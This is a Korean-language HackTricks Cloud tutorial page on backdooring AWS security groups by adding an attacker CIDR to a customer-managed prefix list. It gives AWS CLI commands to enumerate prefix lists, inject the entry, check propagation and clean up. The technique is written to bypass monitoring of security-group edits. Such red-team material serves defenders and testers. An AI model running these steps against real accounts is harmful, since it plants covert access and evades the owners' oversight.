AWS - Managed Prefix Lists를 통한 Security Group 백도어
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
요약
customer-managed Prefix Lists를 악용하여 은밀한 접근 경로를 만듭니다. Security Group (SG) 규칙이 managed Prefix List를 참조하고 있다면, 해당 리스트를 수정할 수 있는 누구나 공격자가 제어하는 CIDRs를 조용히 추가할 수 있습니다. 그 리스트를 참조하는 모든 SG(및 잠재적으로 Network ACL이나 VPC endpoint)는 SG에 눈에 띄는 변경이 없어도 즉시 새로운 범위를 허용하게 됩니다.
영향
- 프리픽스 리스트를 참조하는 모든 SG에 대해 허용된 IP 범위가 즉시 확장되어, SG 편집만 모니터링하는 변경 통제를 우회합니다.
- 지속적인 인그레스/이그레스 백도어를 가능하게 합니다: 악의적인 CIDR을 프리픽스 리스트에 숨겨두고 SG 규칙은 변경되지 않은 것처럼 보이게 합니다.
요구사항
- IAM 권한:
ec2:DescribeManagedPrefixListsec2:GetManagedPrefixListEntriesec2:ModifyManagedPrefixListec2:DescribeSecurityGroups/ec2:DescribeSecurityGroupRules(연결된 SG 식별용)- 선택 사항: 테스트용으로 새로 생성하는 경우
ec2:CreateManagedPrefixList. - 환경: 대상 customer-managed Prefix List를 참조하는 SG 규칙이 최소 하나 이상 있어야 합니다.
변수
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
공격 단계
- 후보 prefix lists 및 consumers 열거
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID을 사용하여 어떤 SG 규칙이 이 prefix list에 의존하는지 확인하세요.
- prefix list에 attacker CIDR를 추가하세요
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
- 보안 그룹으로의 전파를 검증
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
$ENTRY_CIDR에서 오는 트래픽은 prefix list가 참조되는 모든 곳에서 이제 허용됩니다 (일반적으로 egress proxies의 outbound 규칙이나 shared services의 inbound 규칙).
Evidence
get-managed-prefix-list-entries에는 공격자 CIDR과 설명이 반영되어 있습니다.describe-security-group-rules는 여전히 prefix list를 참조하는 원래의 SG 규칙을 표시합니다(보안 그룹 변경 기록 없음). 그럼에도 새 CIDR에서의 트래픽은 성공합니다.
Cleanup
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud